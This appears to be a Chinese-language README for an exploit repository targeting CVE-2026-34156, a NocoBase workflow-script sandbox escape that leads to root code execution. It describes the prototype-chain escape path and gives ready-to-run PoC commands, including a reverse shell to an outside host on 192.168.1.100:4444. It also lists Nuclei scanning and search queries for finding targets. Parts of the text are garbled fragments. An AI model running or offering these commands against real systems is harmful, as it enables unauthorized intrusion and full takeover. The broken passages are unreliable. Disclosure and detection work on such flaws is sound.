NocoBase 中未经认证 / 低权限 → 以 root 身份远程代码执行
CVE-2026-34156 是 NocoBase(一个开源无代码/低代码平台)中的严重沙箱逃逸漏洞。
具备创建或执行工作流脚本节点能力(即使是低权限)的攻击者,可以逃逸 Node.js vm 沙箱,并在容器内实现以 root 身份完全远程代码执行。
@nocobase/plugin-workflow-javascript(脚本节点)console._stdout.constructor.constructor 进行沙箱逃逸uid=0)身份远程代码执行fs)传入沙箱的 console 对象来自宿主 realm,攻击者可沿原型链向上攀爬,访问到真正的 Function 构造器 → process.mainModule.require。
# Simple command execution
python3 CVE-2026-34156.py -u https://target.com -e [email protected] -p password -c "id"
# Reverse shell
python3 CVE-2026-34156.py -u https://target.com -r 192.168.1.100:4444
仓库包含:完整 PoC 脚本、Nuclei 模板和安全检测器。
nuclei -u https://target -t cves/CVE-2026-34156.yaml
title="NocoBase" || title="Sign in - NocoBase"
title="NocoBase" && body="workflow"
isolated-vm)。
本仓库仅供教育和授权安全研究使用。
仅可在您拥有或已获得明确书面测试许可的系统上使用。
未经授权的利用行为属于违法行为。
为安全社区而作 ❤️
保持安全。及时打补丁。